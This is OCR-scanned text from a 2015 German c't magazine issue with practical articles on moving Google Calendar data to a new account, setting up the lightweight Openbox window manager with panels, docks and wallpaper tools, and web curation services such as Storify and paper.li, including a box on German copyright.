ist der Google Kalender ein tolles 
Werkzeug, um den Alltag von 
kleinen Gruppen zu managen. 
Schnell hat man sich an die Vor- 
züge gewöhnt, der Kalender wird 
unverzichtbar. Was aber, wenn es 
aus irgendwelchen Gründen 
nötig wird, die Google-Identität 
zu wechseln? Der Dienst verbie- 
tet es, die Gmail-Adresse zu än- 
dern. Möchte zum Beispiel die 
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lenderimport 
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Kalender- 
dateien aus 
anderen Ac- 
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Datei: 
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Kalender importieren 


[ Durchsuchen_ | Keine Datei ausgewählt 


Wählen Sie die Datei aus, die Ihre Termine enthält. Google 
Kalender kann Termininformationen im iCal-Format oder im 
CSV-Format (MS Outlook) importieren.Weitere Informationen 
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Praxis | Google Kalender 


frisch verheiratete Frau den 
neuen Nachnamen in der Adres- 
se verewigt sehen, bleibt nichts 
übrig als ein neuer Account. 

Hier macht es Google unnötig 
schwer: Weil Kalender nicht zwi- 
schen Accounts übertragen wer- 
den können, muss man im alten 
Account die Kalender löschen 
und im neuen wieder erstellen. 
Ein Übergangsbetrieb empfiehlt 
sich nicht, wenn die Kalender 
freigegeben sind - er führt mit 
Sicherheit zu Verwirrungen. 

In den allgemeinen Kalender- 
einstellungen (Zahnrad rechts 
oben im Web-Frontend) erhalten 
Sie unter dem Reiter „Kalender“ 
den besten Überblick zu allen 
eigenen und abonnierten Kalen- 
dern inklusive der Freigaben. 
Dort können Sie über den Punkt 
„Kalender exportieren” alle eige- 
nen und für Sie freigegebenen 
Kalender inklusive der Einträge 
in eine Zip-Datei packen lassen 
und lokal abspeichern. Die Zip- 
Datei enthält pro exportiertem 
Kalender eine iCal-Datei mit der 
Endung Äics. 

Diese Kalenderdateien impor- 
tieren Sie in das neue Konto. 
Google pflegt die enthaltenen 
Termine in einen bestehenden 
Kalender ein, den Sie angeben 
müssen. Auf diesem Weg gehen 
die Freigaben verloren, die Sie 
eingerichtet hatten. Merken Sie 
sich also am besten, für wen die 
jeweiligen Kalender zugänglich 
waren. Bis Sie sich ganz sicher 
sind, niemanden vergessen zu 
haben, lassen sie die alten Ver- 
sionen besser am Leben. 

Falls Sie eine Funktion bei 
Google Kalender vermissen, 
könnte ein Blick in die Google- 
Labs-Abteilung lohnen, die Sie 
über die Kalendereinstellungen 
erreichen. Zwar hat Google sein 
Experimetallabor für neue Funk- 
tionen im Jahr 2011 geschlossen, 
weil man sich auf Google+ kon- 
zentrieren wollte. Doch auch 
jene Beta-Add-ons, die noch 
heute dort zu finden sind, berei- 
chern teilweise den Account, 
wenn man sie freischaltet. Bei- 
spielsweise ermöglicht Labs, Da- 
teianhänge - etwa Spreadsheets 
- direkt an Terminverabredun- 
gen anzuhängen. (hob) 
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Flink und flexibel 


Openbox: eine schnelle, schlanke Alternative 


für den Linux-Desktop 


Auf schicke Desktop-Effekte und viele Funktionen muss man zwar verzichten, 
dafür ist die grafische Oberfläche im Nu geladen: Der minimalistische 
Fenstermanager Openbox stellt nur geringe Ansprüche an die Hardware, 
lässt sich detailliert konfigurieren und um viele Funktionen erweitern. 


litzschnell steht die grafische Oberfläche 

nach dem Anmelden bereit: Der schlanke 
Fenstermanager Openbox braucht deutlich 
weniger Ressourcen als die meisten Desktop- 
Umgebungen für Linux. Openbox kann allein 
als grafische Oberfläche verwendet werden 
oder die Fensterverwaltung in Desktop-Um- 
gebungen wie KDE, Xfce oder Lxde überneh- 
men - dabei bietet er allerdings weder Com- 
positing noch Desktop-Effekte wie Schatten- 
wurf oder Transparenz. 

Als alleinige grafische Oberfläche ist der 
Fenstermanager geradezu spartanisch, bietet 
aber viele Anpassungsmöglichkeiten und 
lässt sich fast beliebig ausbauen. Der minima- 
listische Fenstermanager selbst macht nicht 
viel mehr als Fenster zu verwalten. Kleine 
Tools liefern ganz nach Bedarf zusätzliche 
Funktionen wie ein Panel und Dock, die das 
Arbeiten mit Openbox komfortabler machen. 


Openbox installieren 


Die meisten Linux-Distributionen bringen 
Openbox in den Standard-Paketquellen mit, 
die Installation des 325 KByte umfassenden 
Pakets ist dann schnell geschehen. In einem 
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Anmeldemanager wie LightDM taucht der 
Windowmanager anschließend automatisch 
auf und lässt sich beim Login auswählen. 

Nach dem Anmelden am Desktop zeigt 
der Bildschirm: nichts oder besser gesagt 
einen weißen Mauszeiger auf grauem Hinter- 
grund. Openbox bringt weder ein Panel 
noch ein Hintergrundbild oder anderes mit. 
Einziger Luxus: Ein Rechtsklick auf den Desk- 
top öffnet ein kleines Menü zum Starten von 
Programmen. Je nach Distribution sind hier 
bereits unterschiedliche Einträge vorhanden, 
darunter immer auch Einträge zum Öffnen 
eines Terminal- und Browser-Fensters. Der 
Punkt „Restart“ startet Openbox neu, mit 
„Reconfigure“ lesen Sie eine geänderte Kon- 
figuration ohne Neustart des Desktops ein. 
Ganz unten liefert das Menü mit der Option 
„Exit“ die Möglichkeit, sich vom Desktop ab- 
zumelden, woraufhin Openbox ohne Nach- 
frage sämtliche Programme schließt. 

Wenn Sie Programmfenster minimieren, 
verschwinden diese und sind mangels Fens- 
terliste nicht weiter sichtbar. Die Tastenkom- 
bination Alt+Tab öffnet dann einen kleinen 
Fensterwechsler, der auch minimierte Fenster 
zutage fördert. Eine Übersicht über die auf 
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allen virtuellen Arbeitsflächen laufenden Pro- 
gramme liefert ein Menü, das Sie mit der 
mittleren Maustaste aufrufen. Mit diesem 
lassen sich auch gleich weitere virtuelle Ar- 
beitsflächen anlegen und nicht benötigte 
entfernen. Standardmäßig sind vier virtuelle 
Desktops eingerichtet, mit der Tastenkombi- 
nation Strg+Alt+Pfeil rechts beziehungsweise 
Strg+Alt+Pfeil links wechseln Sie zwischen 
den Arbeitsflächen. 


Openbox konfigurieren 


Openbox speichert seine Konfiguration in 
drei XML-Dateien, die sich direkt bearbeiten 
lassen. Das Verzeichnis /etc/xdg/openbox 
enthält eine Standard-Konfiguration, die Sie 
vor Änderungen ins Home-Verzeichnis nach 
=/.config/openbox kopieren sollten. Die dort 
gespeicherte Konfiguration hat Vorrang. 
Zum Bearbeiten empfiehlt sich ein Editor wie 
Geany, der entsprechendes Syntax-High- 
lighting beherrscht. Die Datei rc.xml legt das 
Aussehen des Fenstermanagers, Tastenkom- 
binationen, Maus- und Fensterverhalten so- 
wie virtuelle Desktops fest. Das Menü ist 
standardmäßig in der Datei menu.xml defi- 
niert, während die Datei autostart festlegt, 
welche Anwendungen automatisch mit 
Openbox starten. 

Leichter geht die Konfiguration mit dem 
grafischen Openbox Einstellungsmanager 
von der Hand, der als Paket obconf in den 
Standard-Paketquellen der Distributionen 
verfügbar ist. Das Konfigurationstool starten 
Sie mit dem Aufruf von obconf in einem Termi- 
nal-Fenster. Falls noch nicht vorhanden, legt 
das Tool bei ersten Änderungen automatisch 
das Verzeichnis -/.config/openbox an und 
speichert dort seine Konfiguration. 

Der Openbox Einstellungsmanager hält 
bereits eine Reihe von hellen und dunklen 
Themes in verschiedenen Farben für die 
Fensterdekoration des Windowmanagers be- 
reit. Wer sich die in den Paketquellen verfüg- 
baren Themes installiert, kann aus einer lan- 
gen Liste an Fensterdekorationen wählen. 
Weitere Themes bieten Websites wie box- 
look.org oder Deviantart im Internet. 

In dem Konfigurationstool lassen sich viele 
Kleinigkeiten des Fenstermanagers anpassen: 
Unter „Erscheinungsbild“ konfigurieren Sie 
die Anordnung der Fensterbuttons und die in 
Fenstertiteln verwendeten Schriften. In wei- 
teren Tabs legen Sie im Detail das Verhalten 
des Fenstermanagers sowie Anzahl und Titel 
der virtuellen Arbeitsflächen fest. 


Tastenkürzel 


Eigene Tastenkürzel legen Sie in der Datei 
=/.config/openbox/rc.xml an. Dabei steht der 
Buchstabe „C” für Strg, „A“ für Alt, „S“ für Shift 
und „W“ für die Windows-Taste. Um beispiels- 
weise einen Ausführen-Dialog zum schnellen 
Starten von Programmen mit der Tastenkom- 
bination Alt+F2 aufzurufen, installieren Sie 
einen Anwendungsstarter wie gmrun und 
ergänzen folgenden Abschnitt unterhalb von 
„<keyboard>": 
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<keybind key="A-F2"> 
<action name="Execute"> 
<execute>gmrun</execute> 
</action> 
</keybind> 


Anschließend aktualisiert der Aufruf von open- 
box --reconfigure oder das Ab- und Wiederan- 
melden die Konfiguration. Danach startet die 
Tastenkombination den kleinen Ausführen- 
Dialog. 


Anwendungsmenü 


Ist das Paket menu installiert, enthält das 
Openbox-Menü bereits ein recht umfangrei- 
ches Anwendungsmenü. Leider spiegelt es 
nicht die installierten Programme wider, son- 
dern enthält auch viele Einträge von An- 
wendungen, die gar nicht eingerichtet sind. 
Um das Openbox-Menü manuell anzupassen, 
kopieren Sie zunächst die Datei /etc/xdg/ 
openbox/menu.xml nach -/.config/openbox/ 
menu.xml. Diese können Sie anschließend in 
einem beliebigen Editor bearbeiten, überflüs- 
sige Einträge entfernen und eigene nach dem 
Muster der bereits vorhandenen hinzufügen. 

Das ist zugegebenermaßen etwas um- 
ständlich und macht bei vielen installierten 
Programmen auch jede Menge Arbeit. Eine 
grafische Oberfläche für diesen Job bietet 
das Paket obmenu. Um nicht von Hand Ein- 
träge entfernen zu müssen, die gar nicht 
installiert sind, lässt sich mit dem Tool ob- 
menu-generator automatisiert aus den ins- 
tallierten Anwendungen ein Menü gene- 
rieren. Während Arch Linux es in den Stan- 
dard-Paketquellen mitbringt, fehlt das Kon- 
solen-Tool in den Ubuntu-Paketquellen. Hier 
bleibt nur, das Perl-Skript bei Github herun- 
terzuladen und zu entpacken (siehe c't-Link 
am Ende des Artikels). Die im Archiv enthal- 
tene Datei schema.pl kopiert man in das neu 
anzulegende Verzeichnis -/config/obmenu- 
generator/. In Ubuntu 14.10 fehlen dann 
noch zwei Perl-Module. Um diese nachzu- 
laden, installieren Sie am besten das Paket 
cpanminus. Anschließend laden die fol- 
genden beiden Befehle die fehlenden Mo- 
dule nach: 


m Obmenu: /home/Imd/.config/openbox/menu.xmi 


File Edit Add Help 


|” Accessories menu 
item Execute 
Character Map item Execute 
Ark File Archiver item Execute 


Editors 


Calculator 


Terminals 
Internet 
Office 
Multimedia 
File Managers 
Graphics 
System 
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Action Execute 


Execute en 
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DerOpenbox EB 
Einstellungs- 
manager hilft bei 
der Konfiguration 
der Fenster und 
des Verhaltens des 
Fenstermanagers. 
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Praxis | Openbox konfigurieren 
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% Schließen 


sudo cpanm Linux::DesktopFiles 
sudo cpanm Data::Dump 


Kopieren Sie nun noch die Datei schema.pl 
nach -/.config/obmenu-generator/ und ma- 
chen Sie die Datei obmenu-generator aus- 
führbar. Anschließend lässt sich das Perl- 
Skript obmenu-generator mit dem Befehl 


./obmenu-generator -5 


aufrufen. Diese Art von statischem Menü 
können Sie anschließend mit obmenu 
weiterbearbeiten. Alternativ legt obmenu- 
generator mit dem Parameter -p ein soge- 
nanntes Pipe-Menü an, das bei jedem Aufruf 
die installierten Anwendungen ausliest und 
neu generiert wird. Dabei können auch ex- 
terne Python- und Shell-Skripte aufgerufen 
werden, die ihr Ergebnis dann wieder ans 
Menü zurückreichen. 


Desktop-Panel 


Ein Panel bereichert den Desktop um Funk- 
tionen wie eine Fensterliste, Informationen 
wie Batterieladestand, einen Lautstärke- 


EZ Nautilus 


5 » | KDE File Manager 
se OR 
Layout PCMan File Manager 


Mit Obmenu 
lässt sich das 
Openbox-Menü 
bearbeiten. 
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regler und einiges mehr. Ein schlankes Panel 
ohne viele Abhängigkeiten liefert Tint2. 
Standardmäßig enthält es eine Fensterliste 
und ein Systemabschnitt mit Applets für 
Bluetooth, Netzwerk, Lautstärkeregler, Uhr- 
zeit und Datum. Welche Funktionen das 
Panel übernehmen soll, entscheiden Sie 
selbst. Tint2 ist in den Paketquellen der meis- 
ten Linux-Distributionen verfügbar. Das Aus- 
sehen und Verhalten des Panels reguliert die 
Datei tint2rc im Verzeichnis -/.config/tint2, 
die beim ersten Programmstart angelegt 
wird und sich im Editor bearbeiten lässt. 

Das schlanke Panel kann an jedem der vier 
Bildschirmränder liegen und sich über die 
ganze Breite oder nur einen Teil davon er- 
strecken. Hintergrund, Transparenz, Ränder, 
die Rundung der Ecken, Farben, Schriften - 
all das lässt sich frei konfigurieren. Mit Hilfe 
mehrerer Instanzen lassen sich auch mehrere 
Tint2-Panels anlegen, die dann an unter- 
schiedlichen Positionen liegen und jeweils 
eigene Aufgaben übernehmen. Dazu starten 
Sie Tint2 mit dem Parameter -c und geben 
danach den Pfad zu einer jeweils eigenen 
Konfigurationsdatei an. 

Tint2 hat einen Theme-Wechsler im Ge- 
päck, den Sie mit tint2conf aufrufen. Zunächst 
zeigt dieser nur das Standard-Theme, wei- 
tere Themes fügen Sie über den Menüpunkt 
„Theme/Add“ hinzu. Schöne Tint2-Themes 
gibt es etwa auf Deviantart (siehe c’'t-Link am 
Ende des Artikels). Die zu importierenden 
Theme-Dateien dürfen dabei nicht alle den- 
selben Dateinamen tragen (etwa tint2rc. 
tint2rc) wie die bereits aufgelisteten; die Da- 
teiendung muss .tint2rc lauten, damit der 
Theme-Wechsler sie erkennt. Fehlt die En- 
dung bei heruntergeladenen Themes, müs- 
sen Sie diese erst umbenennen. 

Bei neueren Tint2-Versionen ebenfalls be- 
reits enthalten ist das grafische Konfigura- 
tionstool Tintwizard, das Sie über das Kon- 
textmenü eines Themes im Theme-Wechsler 
aufrufen. Während das unter Arch Linux kein 
Problem ist, klappt unter Ubuntu zwar der 
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4 Im Dock behalten 


Aufruf über den Theme-Wechsler, das Schrei- 
ben einer Konfiguration schlägt aber fehl. In 
diesem Fall müssen Sie das Tool von der 
Website herunterladen und das Python- 
Skript manuell aufrufen (siehe c't-Link). Für 
Transparenz im Panel oder bei Fenstern müs- 
sen Sie zusätzlich einen Composite-Manager 
wie Compton installieren und starten. 

Für ein hübsches Dock mit Anwendungs- 
startern eignet sich beispielsweise die Panel- 
Anwendung Plank, die problemlos parallel 
zu einem Tint2-Panel laufen kann. Zur Konfi- 
guration von Plank bearbeiten Sie die Datei 
»/.config/plank/dock1/settings: Hier legen 
Sie unter anderem die Icon-Größe der An- 
wendungsstarter fest (IconSize), schalten das 
automatische Ausblenden des Docks ab 
(HideMode=0) und platzieren das Dock am 
gewünschten Bildschirmrand. Um neue An- 
wendungsstarter hinzuzufügen, starten Sie 
diese über ein Terminal, sodass sie im Dock 
auftauchen, und wählen dann im Kontext- 
menü „Im Dock behalten“. 

Unter Ubuntu fehlt Plank in den Paket- 
quellen, hier können Sie entweder auf Docky 
ausweichen oder Plank selbst kompilieren. 
Gefallen Ihnen weder Tint2 noch Plank, kön- 
nen Sie sich einfach eine andere Dock-An- 
wendung aussuchen (siehe [1]). Überdecken 
Fenster beim Start das Panel, können Sie in 
der Datei -/.config/openbox/rc.xml unter 
„<margins>" einen Bereich auf der Bild- 
schirmseite mit dem Panel einstellen, der frei 
bleiben soll. 


Hintergrund & Autostart 


Openbox unterstützt standardmäßig weder 
Desktop-Icons noch die Anzeige eines Hin- 
tergrundbildes. Auch für diese Zwecke müs- 
sen Sie auf externe Tools zurückgreifen. Eini- 
ge Dateimanager übernehmen auch diese 
beiden Aufgaben. Der schlanke Dateimana- 
ger Pcmanfm des Lxde-Desktops über- 
nimmt die Verwaltung des Desktops samt 


Datei Bearbeiten Ansicht Favoriten Gehezu Werkzeuge Hilfe 
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Plank liefert ein 
hübsches Dock 
mit Anwendungs- 
startern. 


Hintergrundbild und Icons, wenn man ihn 
folgendermaßen in die Openbox-Autostart- 
Datei einträgt: 


pcmanfm --desktop & 


Nun können Sie Dateien und Ordner auf dem 
Desktop ablegen und externe Datenträger 
werden automatisch eingebunden und zum 
Öffnen angeboten. Wenn Sie nun mit der 
rechten Maustaste auf den Desktop klicken, 
erhalten Sie statt des Openbox-Menüs das 
von Pcmanfm. Über den Punkt „Desktop-Ein- 
stellungen“ können Sie etwa den Hinter- 
grund anpassen. Um stattdessen wieder das 
Openbox-Menü zu erhalten, wählen Sie in 
diesem Menü „Desktop-Einstellungen“ und 
aktivieren unter „Erweitert“ die Option „Beim 
Klicken auf den Desktop die Menüs des 
Fenstermanagers anzeigen”. Da dieses Menü 
dann nicht mehr so ohne Weiteres zugäng- 
lich ist, müssen Sie es für künftige Änderun- 
gen mit dem Kommandozeilenbefehl pcmanfm 
--desktop-pref aufrufen. 

Öffnen Sie unter Ubuntu über das Menü 
den Standard-Dateimanager Nautilus, verlie- 
ren Sie ebenfalls den Zugriff auf das Open- 
box-Menü. Hier bleibt Ihnen nur, zuvor in der 
Datei -/.config/openbox/rc.xml im Abschnitt 
„<keyboard>” den Aufruf des Menüs bei- 
spielsweise auf die Menütaste zu legen: 


<keybind key="Menu"> 
<action name="ShowMenu"> <menu>root-menu ‚7 
</menu></action> 
</keybind> 


und die Konfiguration zu aktualisieren. Nau- 
tilus zeichnet dann allerdings auch das Hin- 
tergrundbild. Alternativ gewöhnen Sie Nau- 
tilus die Verwaltung des Desktops mit fol- 
gendem Befehl ab: 


gsettings set org.gnome.desktop.background show- ‚7 
desktop-icons false 


Haben Sie dem Dateimanager die Regie auf 
dem Desktop entrissen, können Sie den mi- 


Dokumente 


Musik Auswahl umkehren 
Dateien sortieren 
7 Desktop Einstellungen 
Videos 


er Speicherplatz: 4,0 GIB (Gesamt: 9.0 GIB) x 


Wenn der Dateimanager Pcmanfm die Verwaltung des Desktops übernimmt, 
kommen Sie zunächst nicht mehr ans Openbox-Menü heran, können aber Dateien 


und Ordner auf dem Desktop ablegen. 
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nimalistischen Bildbetrachter Feh zur An- 
zeige eines Hintergrundbildes aufrufen: 


feh --bg-scale /usr/share/backgrounds/hintergrundbild.jpg 


Alternativ steht das grafische Tool Nitrogen 
dafür zur Verfügung. Soll das Bild in regelmä- 
Rigen Zeitabständen wechseln, kann Wall- 
paperd den Job übernehmen. Nach der Ins- 
tallation kopieren Sie die Beispielkonfigura- 
tion folgendermaßen ins Home-Verzeichnis: 


cp /etc/wallpaperd.cfg »/.wallpaperd.cfg 


Anschließend öffnen Sie diese in einem Edi- 
tor und tragen das Verzeichnis ein, das eines 
oder mehrere Hintergrundbilder enthält. Soll 
Wallpaperd das Hintergrundbild automa- 
tisch wechseln, definieren Sie außerdem den 
Zeitabstand, in dem dies geschehen soll, in 
Sekunden (config.interval). Anschließend tra- 
gen Sie noch die zu verwendenden Bilder 
oder eine Hintergrundfarbe ein. 

Unter Ubuntu 14.10 fehlt Wallpaperd in 
den Paketquellen, hier müssen Sie das Paket 
selbst kompilieren oder auf ein anderes Tool 
ausweichen. Wer trotzdem Icons auf dem 
Desktop ablegen will, kann das schon etwas 
ältere Tool idesk einsetzen. Dessen Website 
ist zwar nicht mehr erreichbar, die Software 
ist aber in den Repositories noch verfügbar. 

Damit Panel, Transparenz und andere Zu- 
satzfunktionen nach jedem Start von Open- 
box zur Verfügung stehen, müssen Sie dafür 
sorgen, dass die ausgewählten Tools - bei- 
spielsweise Tint2, Compton, Plank und Wall- 
paperd - automatisch geladen werden. 
Legen Sie dazu die Autostart-Datei -/.config/ 
openbox/autostart mit einem beliebigen 
Texteditor an und tragen Sie die Startbefehle 
der gewünschten Programme in je eine neue 
Zeile ein. 


Unendliche Weiten 


Die manuelle Konfiguration eines Openbox- 
Desktops führt schön vor Augen, wie viel klei- 
ne und große Aufgaben Desktop-Umgebun- 
gen übernehmen. Dabei lassen sich nicht nur 
viele weitere Funktionen hinzufügen, auch 
stehen für jede Aufgabe mehrere Tools mit 
verschiedenen Vorzügen zur Wahl. Systemin- 
formationen wie die Auslastung von CPU, Ar- 
beitsspeicher und Festplatte, die Uhrzeit und 
das Datum kann der Systemmonitor Conky 
auf den Desktop zeichnen [2]. Um den Rech- 
ner direkt aus Openbox heraus herunterzu- 
fahren, eignet sich etwa das Tool Oblogout. 
Bis alles passend konfiguriert ist und jedes 
Tastenkürzel sitzt, kann durchaus einige Zeit 
vergehen. Dafür sind dann alle Anwendungen 
handverlesen und auf dem Desktop laufen die 
Dinge ganz so, wie man es möchte. (Imd) 
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Herbert Braun 


Kuratieren 
und erzählen 


Mit Storify und Co. Online-Fundstücke sammeln 
und zu Geschichten aufarbeiten 


Inhalte sichten, sammeln, produzieren, teilen: Kuratierungswerkzeuge 
stöbern Netz-Fundstücke auf und verwandeln sie in attraktive Multimedia- 
Pakete für die Veröffentlichung oder den Eigenbedarf. 


tröme von Nachrichten und Informatio- 

nen prasseln auf den Internetnutzer un- 
entwegt herab. Kein Wunder, dass immer 
mehr Werkzeuge auf den Markt kommen, die 
beim Sichten und Zusammenstellen der Info- 
Massen helfen. Das Stichwort für dieses Auf- 
gabenfeld lautet Kuratierung. 

Kuratierungswerkzeuge kommen in ver- 
schiedenen Geschmacksrichtungen: Manche 
sind eher für den Eigenbedarf bestimmt 
zwecks Archivierung oder Recherche, andere 
für die Öffentlichkeit als Publikation oder zur 
Vernetzung mit anderen Nutzern; sie unter- 
scheiden sich im Grad der Automatisierung 
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und in der Form, in der sie die Quellen auf- 
bereiten. 


Storify 


Besonderen Eindruck hinterließ das vor vier 
Jahren gestartete Storify. „Storify“ ist fast 
schon ein generischer Begriff geworden - so 
wie man googelt oder twittert, erstellt man 
„ein Storify“. Storify-Nutzer können Nachrich- 
ten aus unterschiedlichen Quellen per Drag 
and Drop in ein Dokument ziehen. Diese ar- 
rangieren sie nach Bedarf und kleiden sie in 
eigenen Text ein - Recherche, Quellenver- 
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weis und Veröffentlichung gehen ineinander 
über. 

Zur Auswahl stehen 19 verschiedene 
Quellen, darunter Twitter, YouTube, Face- 
book, Google+, Instagram, Flickr und Tumblr, 
aber auch RSS oder beliebige URLs. Selbst 
Kommentare, die Benutzer auf der Diskus- 
sionsplattform Disqus hinterlassen haben, 
lassen sich einbinden - was um so sonderba- 
rer ist, als Disqus der größte Konkurrent von 
Livefyre ist, den Betreibern von Storify. Ver- 
missen wird man bei den Quellen höchstens 
andere Kuratierungsdienste wie del.icio.us 
oder Pocket. 

Vor der Veröffentlichung auf www.stori- 
fy.com/usernameftitel fragt der Dienst, ob es 
die Urheber der eingebetteten Beiträge auf 
Twitter informieren soll. Jedes Element eines 
Storify einschließlich der selbst geschriebe- 
nen Textabsätze lässt sich einzeln kommen- 
tieren oder teilen. 

Auf angenehm einfache Weise lassen sich 
so ansprechend gestaltete Beiträge erstellen. 
Diesem positiven Befund tun kleine Mängel 
keinen Abbruch - etwa die mangelnde Loka- 
lisiierung des Timestamps, den man in den 
Text einfügen kann, oder der fehlende Sup- 
port für Pos1/Ende im Texteditor. 

Einer zeitgemäßen Webanwendung darf 
ein API nicht fehlen. Wer dazu imstande ist, 
JSON-Daten per HTTP zu verschicken und 
auszulesen, kann Storify von einer Website, 
einem CMS oder einer anderen Anwendung 
aus fernsteuern (siehe c’'t-Link). Das APIl kann 
Geschichten lesen, anlegen und veröffentli- 
chen. Auch die Definition eigener Quellen ist 
möglich. Darüber hinaus erlaubt es, den 
kompletten Storify-Editor in eine andere 
Oberfläche zu integrieren. Von hier aus ist es 
nur ein kleiner Schritt zu einem WordPress- 
Plug-in. Die seit Mitte 2013 verfügbare Erwei- 
terung kann aber nicht auf vorhandene 
Storifys zugreifen und wird offenbar nicht 
weiterentwickelt. 


Kuratiertes Bloggen 


Dass das Storify-Plug-in nicht gepflegt wird, 
könnte auch damit zu tun haben, dass Word- 
Press selbst ein paar Wochen nach Storify 
nachlegte. Der WordPress Media Explorer, 
mit dem man über die Schaltfläche „Dateien 
hinzufügen“ einem Beitrag Bilder, PDFs und 
Office-Dokumente einzeln oder galerieweise 
hinzufügen kann, erlaubt nämlich seit Som- 
mer 2013 auch, fremde Inhalte einzubetten. 
Für die wohl meist eingefügten Medien - 
Tweets und YouTube-Videos - gibt es eine 
stark von Storify inspirierte Suchfunktion, 
alles andere deckt „Per URL einfügen“ ab. 
Leider behält WordPress die Twitter- und 
YouTube-Suche bislang Nutzern seines ge- 
hosteten Dienstes wordpress.com vor. Kennt 
man die URL von Tweet oder Video, gelingt 
das Einbetten jedoch auch in selbst installier- 
ten WordPress-Systemen mühelos über „Per 
URL einfügen” - oder noch einfacher, indem 
man die URL ins Editorfenster hineinkopiert. 
Das klappt auch mit URLs von aktuell 27 wei- 
teren Websites, unter anderem Flickr, Insta- 


c't 2015, Heft4 


<Back & Publish 


Eine kleine Testgeschichte 


Storify - Wikipedia, the free encyclopedia 


r sich selbst erzähle 


Starify - Make the web tell a story 


Report | Kuratierungswerkzeuge 


Inhalte finden und in den Editor 
ziehen erledigt der Storify- 
Nutzer mit links. Nun muss 

er nur noch eine spannende 
Geschichte dazu erzählen. 


gram, Vimeo, DailyMotion oder SlideShare. 
Die dahinter steckende Technik ist das offe- 
ne Protokoll oEmbed, ein simples Protokoll, 
das Angaben über Format, Größe und Meta- 
daten eingebetteter Inhalte kommuniziert. 


Aus 1001 Online-Redaktion 


Nicht zu verwechseln ist Storify mit Tools wie 
Storyform oder der Aesop Story Engine 
(ASE). Mit Kuratierung im engeren Sinn 
haben beide nichts zu tun, denn der Quellen- 
sammlungsaspekt fehlt ihnen. Dennoch dür- 
fen sie hier nicht fehlen, weil sie in Zielgrup- 
pe und Endergebnis große Gemeinsamkei- 
ten mit Storify haben. 

Storyform und ASE sind WordPress-Plug- 
ins, die das CMS in ein Editierwerkzeug für 
modernen Online-Journalismus verwandeln 
- also für alle, die auch gern etwas so Multi- 
mediales wie die berühmte „Snowfall”-Ge- 
schichte [1] bauen möchten. Storyform und 
noch mehr ASE wenden sich an Redakteure 
und Blogger, die über den Text hinaus- 
gehende Inhalte bereits gesammelt haben 
und diese am liebsten vom eigenen Server 
ausliefern wollen. 

Aesop erlaubt es dem Redakteur, einem 
WordPress-Beitrag Bilder, Audio-Dateien, 


Feiner Zug: Storify möchte 
die Urheber informieren, dass es 
deren Postings kuratiert hat. 


el 
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Videos und PDF-Dokumente, aber auch 
Landkarten, Kapitelüberschriften oder Perso- 
nen-Avatare hinzuzufügen. Wirklich sinnvoll 
ist das nur in Verbindung mit kostenpflichti- 
gen Themes und Add-ons. 

Während ASE Inhaltsauszeichnungen ver- 
langt, setzt Storyform fast komplett auf Au- 
tomatismen. Ein gewöhnlicher WordPress- 
Post mit einigen multimedialen Inhalten 
wird damit praktisch von selbst zu einem di- 
gitalen Magazin. Ähnlich wie Storify nutzt 
Storyform das zuerst eingebundene Bild 
oder Video als seitenfüllenden Aufmacher; 
den Rest blättert man horizontal durch, was 
vor allem auf Tablets überzeugt. Der Preis 
dafür ist der weitgehende Verlust von Kon- 
trolle über das Layout. Außerdem funktio- 
niert das Plug-in nur bei vorhandenem API- 
Schlüssel, den Storyform beim Anmelden au- 
tomatisch einträgt. 


Schlagwortsuche 


Storify legt beim Kuratieren den Schwer- 
punkt auf die Aufbereitung - eine ganze 


Reihe anderer Produkte akzentuiert dage- 
gen eher das Sichten und Sammeln zur 
schnellen Veröffentlichung. Dabei richten 
sie sich nach vom Benutzer hinterlegten 
Schlagwörtern, nach denen sie die Quellen 
mit eigenen, speziellen Suchmaschinen 
durchforsten. 

Ein bekanntes Beispiel für einen schlag- 
wort- und quellenbasierenden Dienst mit 
niedrigen Einstiegshürden ist paper.li, das 
eine „personalisierte Zeitung“ erzeugt. Dazu 
sucht man per Schlagworteingabe nach The- 
men, was paper.li mit einer Liste von Twitter-, 
Facebook-, Google+-, Youtube und nicht zu- 
letzt RSS-Quellen beantwortet. Man pickt 
sich ein paar heraus und bekommt einmal 
pro Tag eine virtuelle Zeitung in den virtuel- 
len Briefkasten geworfen. 

Letztlich handelt es sich dabei um eine um 
Social-Web-Dienste angereicherte Form 
eines Feedreaders - und tatsächlich über- 
schneidet sich Paper.li mit einem modernen 
Feedreader wie Flipboard oder mit Empfeh- 
lungs-Engines wie dem in Opera eingebau- 
ten „Discover”-Feature. Dazu kommt bei 


Kuratierungs-Spaßbremse Urheberrecht 


Kuratierungswerkzeuge wie Storify vertragen sich nicht mit einem 
Urheberrecht, das in Deutschland fest im letzten Jahrtausend wur- 
zelt und von Begriffen wie Sharing oder Fair Use noch nie etwas 
gehört hat. 


Grundsätzlich unterliegen Bilder, Videos, Präsentationen und selbst 
kleine Textfragmente dem Urheberrecht - zwar nicht jeder Tweet, 
vermutlich aber einer, der die „notwendige Schöpfungshöhe“ auf- 
weist. Das bedeutet, dass niemand sie ohne vorhergehende Erlaub- 
nis neu veröffentlichen darf. Auch das Zitierrecht lässt hier kein 
Schlupfloch, denn es gestattet nur auszugsweise eine Wiedergabe 
zum Zweck der inhaltlichen Auseinandersetzung. 


Viele Social-Media-Dienste wie Twitter oder Facebook behalten 
sich in ihren AGB vor, die Werke ihrer Nutzer nach Belieben zu ver- 
vielfältigen und dieses Recht auch an andere weiterzureichen. 
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Damit wären die Nutzer von Storify, Paper.li und Flipboard weit- 
gehend aus dem Schneider, aber es gibt Zweifel darüber, ob diese 
Klausel in Deutschland gültig ist. 


Glücklicherweise scheinen bisher wenige gegen Nutzer von Kura- 
tierungsdienste juristisch vorgegangen zu sein. Ein bisschen Fin- 
gerspitzengefühl ist wohl der beste Schutz vor einer Abmahnung: 
Ein Tweet oder ein YouTube-Video, das der Urheber ohnehin 
gerne verbreitet sieht, dürfte diesem weniger sauer aufstoßen als 
die Wiederveröffentlichung seines kompletten RSS-Feeds. 


Vorsicht ist vor allem bei Inhalten von Nachrichten-Websites ange- 
bracht: Von Klagen gegen News-Suchmaschinen wie Newsclub 
und Paperboy bis zum erfolgreichen Drängen auf ein „Leistungs- 
schutzrecht” haben einige Presseverlage seit mehr als zehn Jahren 
gezeigt, dass sie von Sharing nicht viel halten. 
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Report | Kuratierungswerkzeuge 
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Storyform verwandelt ein WordPress-Blog in ein multimediales Erlebnis, 
lässt sich dabei aber nicht in die Karten schauen. 


TITELTHEMEN Srotos WVDEOoS SPORT FREIZEIT UNST & UNTERHALTUNG 
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Feedreader waren gestern - paper.li bastelt eine personalisierte 
